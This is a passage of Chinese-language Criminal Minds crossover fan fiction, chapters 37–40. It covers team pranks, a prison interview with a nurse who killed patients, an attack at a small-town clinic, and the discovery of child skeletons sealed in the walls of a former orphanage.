这确实有些麻烦,来来往往的,人多起来难免照顾不到。两个小时,也不知道家长是否真的两个小时后就过来。
这时候伊芙琳感觉手心里的小手一扭,利比突然将手从伊芙琳手里挣脱开,他小跑着来到楼梯下,拐进去人就没音了。
楼梯下干干净净,伊芙琳看了眼时间她需要上楼去做准备,而利比整个小身子趴在墙上嘟囔着。艾丽在一旁将牛奶都灌进肚子里,盯着小金毛看了会,再看看伊芙琳,最后翻了个白眼,没好气道“行了,我来看着她你快上去吧。”
艾丽说完话就将利比从楼梯下拉出来,但小家伙不乐意。哼哼唧唧死死的抱着墙道,“玩!玩!”
对此艾丽摸着自己的裤子兜里。
小孩子即便再调皮,碰上糖果,也就只有听话的份。
眼见着艾丽轻松搞定利比,伊芙琳也算是安心上楼,走到一半还听到楼下汤恩和科里恩的声音,两人还询问这孩子谁家的。
声音越来越小,伊芙琳关上门,半晌她拧着眉狐疑“五岁的孩子,怎么说话断断续续。”
不过她也顾不上其他,科里恩主任叫她了。
哦天,没有来访者似乎更忙了。
她还需要收集更多客户的基本资料还有背景调查,心理结果筛查的话需要更多的专业知识的支撑,有些还未学过的心理知识伊芙琳需要记录在自己的本子上闲的没事反复看反复的记。
忙了一上午,差点都忘了吃饭,好在汤恩医生和科里恩主任记得非常清楚,且在十一点半准时敲开了他们诊所年纪最小的小助手的办公室大门。
老爷子抱着自己的饭盒,起球的格子休闲衫的上衣兜里高高的竖起一瓶可乐……
伊芙琳连忙起身,抱着饭盒准备拿餐具,结果打开抽屉没看到。
在两人一句顶一句,像是作对一般,一个说不用着急,另一个就赶紧说他们不吃饭也要等她。
伊芙琳找的都要冒汗了。
就在这时,一通电话打了进来。
———————
摩根一大早带着啤酒准备上门骚扰瑞德。
敲了半天门没回应。
这可真是奇怪了。
这家伙周六日除了和他们混在一起,就是在家里看书,一找一个准。
摸出电话给他打过去。响了好几声才被人接听。
摩根听到对面嘈杂的声音和瑞德略微急促的呼吸声,他挑眉不客气地嘲笑“怎么,跑马拉松了?”
瑞德刚接到电话就跑出了书店,听到如此无聊的话也只是没好气的解释了一句。
“我在书店,里面不方便打电话,你有什么事吗?”
瑞德拽着自己的帆布挎包带靠着墙边,暖棕色的眼睛看着书店窗户上贴着的大海报,琢磨着送一本什么书给伊芙琳,那个恶作剧玩偶让他一雪前耻!
那个胖嘟嘟的二十厘米左右的小黄鸡一直被瑞德抱在怀里,没办法抱在手里就放进包里。小组的成员们纷纷有意无意的询问。
瑞德小博士心眼子突然灵活了,他看着几人,尤其是摩根八卦的样子,他那双清澈的眼睛突然更纯洁了。
“是伊芙琳送给我的。”
虽然心里憋着坏水,但小博士凭借着自己无辜单纯的脸成功的骗过了所有人。
瑞德抱着小鸡玩偶仿若爱不释手的样子,JJ都一副看着小亨利的样子看着瑞德,有一种孩子终于要谈恋爱了的欣慰。
瑞德没有关注别人,只是盯着摩根那张欠欠的脸,白皙的手指轻轻点着小鸡红色的毛茸茸嘴巴,露出格外腼腆的笑容。
然后……在拉斯维加斯案件结束的当晚,摩根带着搭讪的女朋友准备在房间里来一场浪漫的约
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会。
直到两人齐齐倒在床上,水到渠成,一声尖锐的鸡叫冷不丁在两人头顶响起,紧接着被女士压到肚子的小黄鸡直接从肚子里喷出来红色的颜料。
那位女士从没有得到过如此的羞辱,她一个巴掌扇了过去,内裤衣服都穿戴整齐,在看到狼狈的裹着被单的摩根竟然还敢摆出一副咬牙切齿的样子,她再来一巴掌,昂着头气呼呼的走了。
瑞德当时已经连夜自己买了机票跑路,走前甚至非常有礼貌的和前台的工作人员说自己不小心将红色颜料打翻在床,并且按价赔偿。
据艾米丽事后回忆,她和JJ听到声音赶去,大门被打开,摩根的屋子里,就像是大型血腥的案件现场。
而摩根知道瑞德连夜跑路,还帮他付了床上四件套的钱,顶着看不清巴掌印的黑脸气笑了。
摩根咬牙哼了一声,“赶紧回来,找你喝酒。”
瑞德摇了摇头,哪怕对方没看到,一头蓬松的浅棕色卷毛迎风招展,“那你得等一会。我买完书才能回去。”
摩根表示今天酒必须喝,他就坐在台阶上等着。
而瑞德注定要为自己的行为负责。
乖宝宝喝多了。
不是抱着书在一旁安静的看着别人发酒疯,而是自己也迷糊了起来。
不过瑞德很少会有喝多的时候,和同事们聚餐一杯浅底的红酒他都不一定喝完。
摩根带了八瓶一沓组合套装,瑞德本来只喝半罐,他还是很清醒的,连脸都没红,毕竟半罐的啤酒也就三四口的量罢了。
但是他听见摩根说早上没吃饭,小天使瑞德上线,去冰箱里拿了两份昨晚在店里打包的三明治,放在微波炉里叮的这一小会儿。
摩根悄悄地将上衣兜里一小瓶玻璃器皿的黄色的酒倒进了瑞德的啤酒罐里。
瑞德端着一碟子三明治放到桌子上,拿起旁边的罐子喝了一口……
然后等到一罐子彻底空了,整个人晕了起来,脸迅速的泛红。
慢吞吞的眨了眨眼,他有些困了。
迷迷糊糊的听见摩根问他,“伊芙琳漂亮吗?”
瑞德抿着嘴,眼睛还湿漉漉的,盯着地上的地板,呼吸又轻又浅。“漂亮。”
摩根盘腿坐在瑞德面前的地板上,硬憋着笑,努力镇定道。“既然这么漂亮……”
“……那你喜不喜欢啊。”
电话那头至始至终都静悄悄的,摩根偏头看了一眼,还在通话中,他这才满意的将视线继续落到瑞德的身上。
这时候瑞德已经克制不住睡意的袭来,脑子已经一片空白,所有的话在他清醒时能快速的在他脑海里过滤分辨以及深深的扎在他的记忆中,但此刻这句话就像是一阵风,从左耳吹到右耳,什么都没留下。
通俗的讲,他已经听不见什么声音了。
摩根看着瑞德眼睛一闭,立刻心道不好。
“hi!瑞德!”
对方并没有搭理摩根,整个人歪着身子倒在沙发上,慢吞吞的蜷缩起来……睡着了……
对面传来克制不住的笑声,“睡着了?哇哦,摩根你再一次败北,请问你现在的心情如何。”
摩根捂着脑袋起身将一旁的毯子扔到睡的喷香的好友头上,背着身子无语望天,“你们两个真是,幼稚!”
摩根当然知道这东西是伊芙琳自己做的,加西亚在某些方面,只要不涉及敏感话题,她就是个大嘴巴,但可惜就可惜在谁都知道她嘴巴不严。
于是伊芙琳是在瑞德成功报仇后,在加西亚询问时,才告诉她是自己做的。
“你也很幼稚啊,摩根。”伊芙琳找到自己的餐具盒,嘴角还带着笑意,她都能想象摩根憋的不上不下的样子,“别欺负他呀,他背后的朋友之一的我啊,可是有八百个心眼的小气的人。”
摩根哼笑了一声,瞥了一眼呼吸不顺,自己从毯子下拱出来的好友,或者说损友。见对方蜷缩着睡的昏天黑地不知世事的样子,“你就不好奇他喜不喜欢你?”
“唔,还挺好奇的。”伊芙琳终于找到餐具盒,肩膀夹着手机抱着东西道“不过这也是水到渠成后,我想亲口听他说,而不是借着你的恶作剧。”
摩根吐口气,“你们女孩子就是喜欢那些没用的仪式感,你要是等着瑞德说喜欢你,那你是不用想了,这家伙腼腆的可怕。”
“事情还早,你和加西亚可真是急性子,难怪这次被整的惨兮兮的,我听加西亚说你被打了两巴掌?一次不够还得两次?我的那个玩偶你们怎么玩的这么花花。”
摩根皮笑肉不笑,“别以为我怕你们,给我等着,我已经准备好了一个非常有意思的……”
伊芙琳敷衍道“祝你成功后。挂了。我要去吃饭了。”
摩根挂断电话,将瑞德的手机放回去,然后将人一把扛回卧室,他留在客厅看球赛回放。
等这家伙酒醒了他嘲笑一番再走。
而伊芙琳这边挂完电话,
38.第 38 章
在犯罪现场看到的每一样东西,都有可能让我们对作案者有进一步的了解。
而对作案者本身的画像来源,无非就是他们的前辈们在监狱里为犯罪行为分析科的成员们提供了丰富的素材。
一般来说,了解作案者本身的都是内行人,也就是各个案件系列的开山鼻祖,第一个杀人犯。
BAU的成员们偶尔也会了解各类案件与凶手进行交谈。每个类似的案件的作案模式,在某一个线索展现出高度相似时,甚至说已经初步展露出来,那么毫无疑问,嫌疑人的画像一定能在二十四小时内,高度完善,并借用媒体和民众,抓到嫌犯。
这一次是罗西带着瑞德来到了巴尔的摩的监狱里。
这里不仅有古老而庞大的监狱。还有配套的精神病院。在这个医院里的医生和护士如果不懂得如何保护自己,那他们离意外也不太远了。
每年总有几起从监狱转移到医院的病人,在陌生的地盘成功的找到了乐子,运用非常纯熟的杀人技巧,开启了杀人狂欢派对。
有一名利用药物谋杀四十名患者的著名杀人护士,就在精神病院里重操旧业,又毒死了一名护士和一名医生。
言归正传,罗西和瑞德今天谈话的就是这命轰动整个美国的杀人护士。
劳拉.伍德,看上去温和善心、似乎对所有人的情感感同身受的一名二十出头的邻家女孩,看向进来的两位,目光落到年轻的那位时,她露出惊喜的笑容。
“嘿,瑞德,好久不见。”劳拉惬意的将拷着手铐的双手搭在下巴上,目光落到了另一侧的陌生的老先生,也就是罗西,她挑眉“吉迪恩呢?我记得查案的时候,你们可是形影不离的。”
她就像是与好友重逢时一样。
和当时被抓起来的场景,对方脸上无所谓的笑意重合。瑞德被劳拉目光直视时,他下意识的推了推眼镜,目光落到罗西的身上。
这位天才博士慢半拍才想起来介绍身边的同事,他握着一侧的背带,语速飞快,“这是大卫.罗西。”
作为元老级人物的大卫.罗西,他不动声色的笑眯眯的站在一旁,像是看着两个孩子在玩耍一般带着包容的浅笑。不突兀但也颇有存在感。
“您好,女士。”罗西搬开椅子坐了下来,一身优雅精致的黑色休闲西装,手指上硕大的黄宝石戒指以及奢华的黑色金属材质表链的手表。不像是来监狱和一名杀人犯聊天,而是去白宫参加晚宴。
劳拉看了一眼就完全没有兴趣的移开视线,和这种老油条大叔说话简直浪费她宝贵的时间,显然她对一旁的瑞德更感兴趣。
罗西和瑞德对于劳拉的这番态度,也有预料。
去监狱里找犯人做访谈时,他们怎么可能不提前做好准备。了解犯人最基本的情况,警方档案里所有相关的犯罪现场的照片、审讯记录、验尸报告。
不过劳拉想要挑对象闲聊,人家却不接话,只是安静的坐在一旁,见劳拉还在盯着他,瑞德镜片后的眼睛里还带着点微不可察的困惑。这名女士怎么突然变得有些奇怪。当然瑞德也不能说自己百分百了解劳拉.伍德。只是,她看着似乎比两年前看着更轻松了?
明明马上就要执行死刑了。她却像是真的在精神病院找到了乐子,有一种彻底放下的那种轻松感。
就在瑞德暗自琢磨这个不起眼的情绪变化,一旁的罗西率先打开话题,“劳拉,说起来,我没有侦办过你的案子,你都做了什么?我很好奇。”
劳拉闻言偏过头,她笑意还在并没有减少半分,“我杀了很多人,当然警方查到的是四十个人。”
不过话刚说完,她似乎懊恼了一下。像是觉得自己的记忆真是糟糕 “我差点忘了,在精神病院的日子有些无聊,我又杀了两个。”
劳拉将手从桌上拿下来、放到了双腿上,她穿着长袖长裤的橙色囚服,这里靠近河边,又是九月份的天气,难免有些凉意。
罗西看出她微弱的变化以及抗拒,他笑了笑,不动声色的看了眼一旁穿着背带裤安静的拿着笔在本子上记录的瑞德。
瑞德抬起脑袋,浅棕色的卷发蓬松几缕碎卷搭在眉眼上,他感觉到了气氛的变化,伸手推了推黑色的镜框,迟疑地看向劳拉,最终还是询问了劳拉的犯罪现场和如何杀人。
劳拉盯着瑞德的眼睛,见对方没有如当年一般慌张的避开,眯着眼打量片刻,啧了一声。都变成了老油条子了,她察觉到这点后对瑞德也有了警惕。
半晌才缓缓讲述自己如何杀掉这些病人。
劳拉是十八岁就进了医院做护士,护士的工作大多忙且让人心烦。无理取闹的的病患,痛的一宿睡不着的重病患者,每天面对生命慢慢的从眼前流逝,而且是如此痛苦的在自己面前咽气。
劳拉心理压力很大,有一天一名患者抓着劳拉的手说自己不想活了。
那是劳拉杀的第一个人,只需要悄无声息的推进去,没有人能够察觉。
毕竟他们离死也不远了不是吗?家里人被折磨的筋疲力尽,谁也不会想到检查甚至解剖病人的遗体。
让他们毫无痛苦的离开,劳拉觉得自己并没有犯错,从某种角度来说,她让他们终于不再痛苦,这不是好事吗?
只需要随身携带一点点药物,夜深人静,没有人察觉,一天注射一点。
如此明目张胆。
劳拉表示杀掉每一个患者,她都有一种无以言喻的解脱。
这种杀人手法也有一个类似的案例。那是一名将自己当成上帝的杀手,他将捕猎到的受害者绑回家中,在一系列的仪式当中用药物结束了受害者的生命。
但两者有一个很明显的区别,那个将自己当作上帝的家伙,抹杀受害者带给他的是权利的膨胀和杀戮的享受以及满足。
而劳拉在在故事中不止一次提到了痛苦,以及她本人的解脱。
解脱。
她已经在字里行间明确的表达了她选择的人,全都是患有严重疾病饱受痛苦的患者。
解脱,这个词也可以用在这些患者的身上。
但劳拉却放到了自己的身上。
瑞德在谈话中开始询问劳拉,她为什么觉得自己杀人后也解脱了。他的话刚说完,对面的劳拉肉眼可见的情绪剧烈起伏。
瑞德看到了她的眼里一闪而
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过的惧怕。这和之前无所畏惧哪怕马上面临死刑也依旧能够调侃他的样子形成了巨大的反差。
这时候,他将一张微微泛黄的孩子们的大合照推到了劳拉面前。
凳子倒地,发出巨大的撞击声,劳拉站在那里,她感觉到自己的情绪不对,她竭力克制面部表情,偏头想找人。
她想离开。
这引起了嗅觉敏锐的BAU小组成员的注意。
因为案件发生时,这家福利院早已倒闭多年,警方的档案里对于这家福利院的情况描述的不是很多。
只说最后一任院长离世,而捐赠的资金又不足以运转,最后只能关闭。
“劳拉,”罗西拿着照片对着要跟狱警离开的劳拉,他询问,“档案里似乎提到了你的妹妹。”
瑞德在一旁看着抛出诱饵的狡诈的狐狸同事如何将猎物拐进坑里。而猎物在诱饵面前瞬间败北。
就在瑞德凭着本能和办案的经验,隐约能察觉这家福利院肯定有不为人知的事。但真相却往往颠覆单纯的人类的认知。
——————————
伊芙琳盯着柜子,她再一次听到了一句清晰的喊声,只要靠近这里。
“离开这里,马上!”
她懊恼的抬手拍着柜子,叉腰站在原地。
好烦人!谁的恶作剧!
本来安静的室内突然传来一声阴森森的声音,谁能扛得住!
伊芙琳直接找到了科里恩。可问题是,科里恩在办公室坐了一下午,一点声音都没有。
那种只有你能听见的焦躁感,让伊芙琳烦躁的厉害。她和科里恩主任申请换一间办公室。
晚上临近下班,科里恩主任被小镇唯一一座教堂的神父叫了过去,伊芙琳准备坐汤恩医生的车回家。
可汤恩医生临出发前突然尿急,到现在还没回来。
此刻高大的针叶林被橙红色的光笼罩,诊所的小楼一半被染上了红色一半陷入黑暗。
艾丽早就回家了,此刻诊所里静悄悄的,除了鸟类鸣叫声。
伊芙琳抱着电脑打开电视剧看了一会,这电视剧下载的并没有她想象的好看,于是她看了几分钟就忍不住抬手看了眼时间。
过了二十分钟,伊芙琳想着再等等吧。有可能汤恩医生还没上完。
又过了二十分钟,伊芙琳艰难的想着,他是不是太慢了。
等到最后一点橙红色的光消失在高高的树林背后,科里恩主任都被神父送回来时。
伊芙琳才赶紧让科里恩去找汤恩医生,她此刻想的是,会不会汤恩医生没带纸。
可问题是,诊所的公共卫生间,每次看到都是好大的一大卷。
科里恩听到汤恩蹲了一个小时的厕所,毫不客气的嘲笑三声,然后进去找汤恩。
神父也准备离开,他将人送到诊所就算是完成了任务,刚要和伊芙琳道别,就听到里面传来的喊叫。
科里恩主任撕破嗓子的喊声。
“伊芙琳!报警!”
“哦天啊!汤恩的脑袋,他肯定已经死了!
科里恩主任在喊叫声中夹杂着一句总结
39.第 39 章
伊芙琳在医院走廊的椅子上休息,科里恩主任年纪大,就睡在病房里给家属准备的一张小床上。
老人家本来不情愿和汤恩睡在一个屋檐下。
医生做了相关检查后说没什么大问题,半夜可能会醒过来,只是会有轻微的脑震荡,需要陪护的人留意。
科里恩主任当时的表情好像在说,哈?怎么可能没事?然后就是撇撇嘴,啧,真是好运气。
总之,科里恩主任看了眼刚给汤恩妻子打过电话的伊芙琳,他有些纠结。未婚小姑娘照顾一个已婚的男人,还是个劈腿的丑八怪中老年男人。也确实有些难为她了。
于是他也只能捏着鼻子自己进去照顾人。
伊芙琳被老先生滴溜溜的看了一圈还有些摸不着头脑,见人家深深叹口气自己进去了,她只觉得莫名其妙。
不过老人家是把联通走廊的大门也打开了,发生了这件事,他现在都开始怀疑这个小镇的治安。
那两个警察也到案发现场看过了。
汤恩医生是准备推开厕所小隔间的门,就被人从背后袭击,血量不大,现场没有找到击打汤恩医生后脑的凶器,敲击伤口的工具应该是山上随处可见的石块,伤口处还有残留的岩石粉化的颗粒。
伊芙琳差点成了凶手,好在门口的监控显示,她一直在原地没有动。不然她一定会被带到警局严加审讯。
一大早,天还没亮,伊芙琳从硬邦邦的狭窄的椅子上爬起来,捂着脑袋看了眼走廊尽头。不知道谁半夜把窗户打开。吹的脑袋疼。
软软的从肩膀滑下去的毯子让伊芙琳注意到,她还有些狐疑,不太像是护士的,上面还带着有些熟悉的味道。
这时候窗口方向走廊一侧公共的卫生间去走出来一个人。
那人正端着一个小盆,上面搭着叠成长条的毛巾。一条明艳火红的长裙,妆容精致。而伊芙琳披头散发,衣服都压出褶了。
汤恩医生的妻子见伊芙琳醒了,她上前轻声道“进去吧,汤恩和科里恩都醒了。”
汤恩医生看着还有些蔫蔫的。刚吐过一回难受的眼睛都不想睁开,但伊芙琳进来了他还得表达一下自己的感谢。
伊芙琳看了眼立刻转身出去不知道要做什么的科里恩主任,她上前靠近病床,“您有看到砸你的人是谁吗?”
其实,这件事从头到尾都透着古怪。
诊所的门口和走廊都有监控,只要有人进入卫生间,都会经过摄像头监视的范围之内。但奇怪的是,那个人似乎是凭空出现在卫生间然后凭空消失。
当然不排除有人从靠近厕所窗户的后院跑进来。可问题是,后院也有监控啊……
汤恩医生病歪歪的靠着枕头,迟钝的眨了眨眼,紧接着眉头皱起,“没有。”
他听到脚步声时就被砸晕了。一点反应时间都没有。
汤恩医生的妻子猜测是不是丈夫最近惹到谁了?可这伤口一看就不致命,对方没下死手……
几人猜来猜去。最后伊芙琳看了眼时间起身出去买点早餐。
也没有走太远,就在医院斜对面,有一家已经开门的餐厅。
这家店不是很大,围绕着制作料理的L形的柜台前已经坐满了用餐的小镇居民。
伊芙琳刚一进来就看到和煎烤肉排的店员说话的露易莎。这位old lady手里抓着汉堡,牛肉饼甚至比汉堡胚还要大一圈。她两手都带着奶黄色的芝士酱汁。舔舔手指还不忘和瞧着五十左右的店员念叨着自家不省心的老爸。
那个女店员带着红色的棒球帽,红色的围裙里是一身起球泛白的格子衫。铁板上一半是分开的面包胚一半是牛肉饼。黄面包被黄油煎的内里焦脆,牛肉饼边缘的黄油被她用铁铲铲起来浇到肉饼上。
香气四溢。
伊芙琳上前点了一份双层牛肉不加芝士多加蔬菜的汉堡,一份鸡蛋汉堡和一份墨西哥卷肉饼。
至于病患,大概也只能吃点清淡的燕麦片了。走之前汤恩医生的妻子已经从包里摸出来一个小碗和一袋没有开封的燕麦片。
露易莎闻声回头,一眼就见到她身后穿着皱巴巴的衬衫和裙子的伊芙琳,和之前每次见面的整洁利落不同。头发像是胡乱拢起来扎在脑后,还有一缕浅色的长发在一侧的肩膀蜷缩着,像是被主人遗落了下来。一双眼还带着血丝。
伊芙琳确实没怎么睡好,很难受。
露易莎可是非常稀罕这个足以做她曾孙女的小咨询师了,这孩子对他们这些老人家真是又温柔又有耐心,长得也和小天使一样。
见人憔悴成这样,怪可怜的,担忧的将人拉到一边,老太太当然擦了自己油乎乎的手。
露易莎一屁股将身旁一个五十多岁的吨位的男人轻轻松松的挤开。伊芙琳见那位满脸横肉的大叔一脸无奈的端着盘子换了个位置,靠着一侧的墙吃着三明治和墙这边的几个男人聊天。
“伊芙琳,你这是怎么了?发生什么事了?”露易莎都顾不上吃东西,她看了眼伊芙琳身上似乎也没带什么灰尘。哦那帮肆无忌惮的臭小子们可别被她露易莎发现做什么坏事。
伊芙琳有些不好意思的摸了摸扯了扯自己的衣服,出来前她在卫生间的镜子前也尽可能整理了一下,但棉麻的衬衫怎么扯都没什么效果。
“汤恩医生被人砸了脑袋,刚醒来没多久,我们就在医院陪了一宿,我出来给他们带早餐,等会就回去。”
“哦!哦!天啊!”露易莎震惊的睁大褶皱堆叠的小眼睛,“怎么会发生这种事!”她似乎没回过神。
这可是件大事,还是在小镇里发生的,一些人也偏头凑过来你一句我一句的询问。
当得知犯人至今没有抓到,并且监控各个角落都没有见到人。有人就开始推测了。
“会不会是从后院翻进去。”
伊芙琳摇了摇头再一次强调院子里也有监控。
“这简直神不知鬼不觉嘛,”露易莎摇了摇头,拿起番茄酱在一层牛肉一层酸黄瓜一层牛肉上反复挤出来红色的酱汁,红帽子店员组装汉堡和肉卷,毫不客气的将番茄煎的瓶子拿走,“小店小本营生,番茄酱都快被你吃完了。至于神不知鬼不觉,早些年不是还传言福利院里有一个秘密的地下通道,里面埋藏着小镇最富有的厂主家的黄金和钞票?不会是有人从那条通道跑出来砸了人又原路跑回去。”
“嘿!你这孩子!”番茄酱被拿走,露易莎很不开心。
红帽子女人翻了个白眼,她都五十多了,露易莎真是的!还把她当作小孩子!
露易莎嘟囔一句没有小时候可爱了,不过说起福利院,她似乎找到了本来都快忘了的记忆。
以前老爸就总念叨着福利院下面有东西,还说他总是在夜深人静的时候拉着同床的小伙伴一起去探险。
那个小伙伴就是后来被领养走了,让老爷子想起来就纠结的玩伴。
伊芙琳听着大家你一言我一语。已经将汤恩医生被砸凶手究竟从哪出现在哪消失,变成了福利院下的财富多到一个足球场都堆不下。甚至有人开始骂起了那个跑路的工厂主一家子。
“我父亲就说他们一家都不是什么好人,把小孩子都当成大人使唤,还不给吃饱饭,那些可怜的孩子们,哦对了还包括我爸。都差点饿死。”
说话的大叔瞧着四十上下。
和露易莎的父亲说的没什么区别,看来这小镇早些年那家工厂可不太受人欢迎啊。
不过伊芙琳觉得私密的通道倒是说得通,为什么犯人在所有监控中查无此人。
但也只是猜测罢了。
当警察知道汤恩醒来后,例行公事询问,并没有得到有用的信息后,他们只能离开找别的线索。
伊芙琳和科里恩说起在小餐馆听到的传言。老爷子是半信半疑的。
毕竟上面能批给他肯定没什么不可告人的遗留问题,如果有他们也不可能给他。但另一方面科里恩又和伊芙琳想法一样,这监控可是他花了大价钱无死角的安装,就是为了防止有人在他的诊所再次杀人……或者被杀。
哦上帝,科里恩看着汤恩头上的纱布,他后知后觉反应过来,这要是再砸几次。他这诊所又成了案发现场……
科里恩捂着脑子惊恐地发现,如果真成了案发现场,整个西雅图就没有他的容身之所了!
这群要死不活的大变态!为什么可着他一个人霍霍!
老爷子胖墩墩的矮小的身子直接缩成了一团,气得要死。
手里的鸡蛋汉堡快速的塞进嘴里,抓起一旁正在享受双层热量炸弹的美味的伊芙琳。
还没等人将嘴里的东西咽进去,就被拖到了车上。
别看科里恩胖,跑的和弹簧一样跳的挺远。
伊芙琳扣上安全带,还未说话,车咻的飞了出去。
“主任,你要做什么这么急。”伊芙琳将汉堡快速吃掉以防接下来没时间。
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>科里恩主任的脸色非常难看,双眼都要喷火了,握着自己的老爷车方向盘开的飞起,他声音沉重,“伊芙琳,我们诊所有可能会面临再一次倒闭。”
“再一次?”这才刚开业!
伊芙琳喃喃道“不至于吧。”
“怎么不至于!”他觉得伊芙琳什么都好,就是没什么危机意识。科里恩主任痛心疾首:“汤恩差点就被人砸秃瓢了!离死人还远吗!我怀疑有人针对我!”
科里恩主任念叨着自己年轻有为挡了不少人的路,这些人报复自己在所难免,他甚至怀疑那个连环杀人犯就是被哪个恶毒的家伙安排进来的!
——————
“伊芙琳,你是不是说你经常听到这里有人说话。”
科里恩抱着和他差不多高的榔头,小眼睛阴测测的盯着柜子旁边的墙壁。
伊芙琳同样抱着一个大铁头锤子站在科里恩旁边,她看了眼墙壁,低头看向只到她肩膀的反光的后脑勺,她提醒一句热血上头的主任,这墙不可能藏人,薄薄的一层能藏得住说话的人?它只能藏得住尸体。
伊芙琳话音未落,阴测测的主任顿时急的跳脚,“胡乱说什么!咱们找的是通道不是尸体,哦上帝伊芙琳你别乱说话,真要是尸体都不用再继续查了,咱们直接卷包袱换个城市了。”
科里恩主任从二十来岁就在西雅图,他的老婆还在西雅图埋着呢,一家老小在这扎根多少年,早就有了深深的羁绊,主任小眼睛里险些喷出泪花。
伊芙琳只是话赶话说到这里,但听到主任说着说着,这么大岁数突然哽咽的两眼冒泪花……
少女的心都被敲打了好几下,尊老爱幼的传统美德这一座大山差点将伊芙琳压的喘不过气,她吭哧半晌,说了对不起就有些犹豫不知道在说些什么。
摸了把兜里,刚掏出一块巧克力就被一只手抢了过去,撕掉包装小老头嘎嘣嘎嘣几秒钟咽进肚子里。
伊芙琳本来就是想哄哄可怜的老爷子,见对方吃完后脸色好了不少,她才舒口气。
科里恩仰头看着墙,使劲握着柄刚要将榔头举起来,但……大铁头死死的黏在地上,老爷子弯腰的姿势看出来用了不少力气,整个身子都是紧绷的。
伊芙琳看了一会,她默默道“主任,您往后退。”老爷子赶忙拖着榔头远离伊芙琳。
锤子举起来,确实有些费劲,但伊芙琳好歹是年轻人,慢悠悠的举起来,重重的按照惯性倾斜角度砸到了墙上。
这时候林中缓缓开上来一辆黑色的车,在院子里躺下后,率先走下来一身西装的罗西和一身绿色冲锋衣背着挎包的瑞德。
面前的福利院,已经变成了心理诊所。
大门打开里面却没有人,按道理来说现在也是营业时间了。
瑞德盯着图纸看了眼装修后的房子内部格局,突然巨大的敲打声传来。
还未到房间就听到门缝传来声音。
“这是什么?”
伊芙琳盯着墙壁薄层里的布料碎片。科里恩拧着眉接过去,在手里翻来覆去,“估摸是当时混泥土的时候不小心弄进去的,好了,不管这个你继续。”
伊芙琳抱着木棍吃力的抬起来,憋红了脸使劲砸了上去。
灰褐色的凹洞瞬间哗啦掉出来大批的碎渣,伊芙琳和科里恩被迷住眼。伊芙琳呸呸的吐掉嘴巴里的灰,她眼睛暂时看不到什么。
瑞德和罗西走了进来,一眼就看到了一老一少敲打的墙面上露出一个和洞口大不了多少的孩子尸骨。
还未等有人说话,就听见墙体突然裂开了密密麻麻的缝隙。伊芙琳拍掉脸上的灰尘,听到声音先是往上看,脸色有些难看,她冷不丁想起一件事,承重墙不能砸!
姑娘似乎不敢相信自己去砸了承重墙,站在那人都懵了,可余光似乎看到了什么,目光下移的她,整个人僵在原地。
一旁嗷一嗓子,科里恩主任痛苦的跪在地上,捂着胸口喘粗气,“上帝!”
这时候两人都没发现身后有人,科里恩如遭雷劈,半晌他哆哆嗦嗦道,“伊芙琳,你说咱们当做什么都没发生,再给它砌回去……”
伊芙琳双手撑着手柄,“主任啊,你瞒不住的,你这次真的要卷铺盖走人了……”
那具尸骨太小了……
甚至可能不止一具。
伊芙琳紧抿着嘴,死死的盯着朝右侧躺在墙里的孩子手指旁还有一根半隐藏在墙里的指骨……
40.第 40 章
整面墙,每具骸骨蜷缩着躺在墙内,左右距离不超过7–8公分。
非常密集。
小镇的警察接到报警电话,第一个反应是震惊,第二个反应就是不相信。
何止电话里的警察不敢相信,跪坐在地上的科里恩也无法相信自己晚年生活竟然如此悲剧。早知如此不如回家做学者。
伊芙琳离开原来的位置,让给两位专业人士,也没听见他俩低头小声的说了什么。只站在窗前和电话那边的说了一句请尽量快一点。
三辆警车呼啸而过窜上坡地,警笛声沿途吸引了不少民众的注意力。
找几个工人一起挖掘现场,墙面全部用仪器清理干净后,从没见过如此让人心寒和毛骨悚然的场面,几名工人脸都白了好几度。
有的敲墙差点砸到了自己的脚也没有反应,嘴巴都在抖。
一具具尸体被摆放在防水塑胶布上,就在院子里。
心理诊所、原福利院旧址,它可是前所未有的热闹。
电钻声、撬棍、锤子,叮叮当当,嗡嗡嗡嗡,整栋楼每一个房间包括地下室,现在无所谓是不是承重墙,一个房间已经清理出了十具尸体。
甚至不止有孩子的……
尸体密封在墙壁里会出现自溶的状态,尸油会慢慢浸透墙壁,按道理来说早该有人察觉。
“天啊天啊!您这是怀疑我!我当然有注意到,可我哪里知道是尸……”油字说不出口,科里恩恶心的想吐,但此刻愤怒的情绪止都止不住,这是怀疑他!
他只以为是什么菜油之类的,才让工人们重新粉刷了一遍。
“我在此之前从未来过这里!”一群无用的饭桶!大傻瓜!科里恩跳脚破口大骂。而他对面的警察只是淡定的记录着,然后抬手作出下压的手势,“您不要激动老先生,我们并没有怀疑您,只是例行公事的询问而已。”
科里恩被堵得不上不下,脸涨红,两边的银色的云朵都被老头抓耳挠腮下变成了一缕缕打着卷的毛线,被风吹的左右摇摆。
伊芙琳在一旁也提到两次在这面墙贴到了声音,具体是有人事恶作剧还是和这一百零三具尸体有什么关系现在还不好说。
但伊芙琳再三表示那绝对不是幻听。
是个成年人的声音,有点像女的又有点像男的。
科里恩主任因为情绪过于激动被人按在椅子上哼哼唧唧的摊在那。望着用内部支架支撑的摇摇欲坠的建筑,他更是闭上眼。
伊芙琳她也有些纳闷,科里恩主任怎么这么流年不利。
瑞德早就蹲下身,绿色的户外风衣的拉链拉到了下巴,和白皙的脸形成强烈的对比,他正垂眸转动手里的头骨。
伊芙琳在一旁看着比瑞德掌心大不了多少的颅骨,在转动中,左侧的额头位置让她忍不住皱起眉头。
左侧额头的骨头已经严重凹陷,就像是一个半颗乒乓球弧度的圆坑,就像轻轻一碰碎片就会脱落。
这明显是致命伤了。
一旁的罗西将手套摘下,他深呼口气,双手交叉环胸,手套早就被摘掉。
“看起来劳拉.伍德说的是真的了。”
她早年间帮助院长做过这些事。
不过单凭她一个人说的话不足以当作证据。
瑞德将手中的头颅轻轻的放在小骨架的上方,手搭在膝盖上,黏腻的铜锈的的泥浆体蹭到了膝盖的深色面料上也没什么反应,愣怔了一会儿才眨了眨眼。
这没什么好奇怪的,这种事也不少见的瑞德有些不开心的抿着嘴,摘掉手套起身时余光瞥见了站在身后的人。
当103具五岁到七八岁尸体整齐的摆列在院子里,密密麻麻无声的蜷缩着身体,依旧无知无觉的沉睡着,从死亡到重见光明……有的用了几十年有的仅用了十二年。
这时候,想不惊动上面的人,也不太可能了。
警戒线挡不住永远冲在第一线的记者。m
露易莎站在厨房的餐桌前,正为家里的小孙子和自己的爸爸做午餐,烟熏猪肉要早早的腌制好,最起码要十二个小时才能勉强达到露易莎这位几十年家庭主妇的要求。
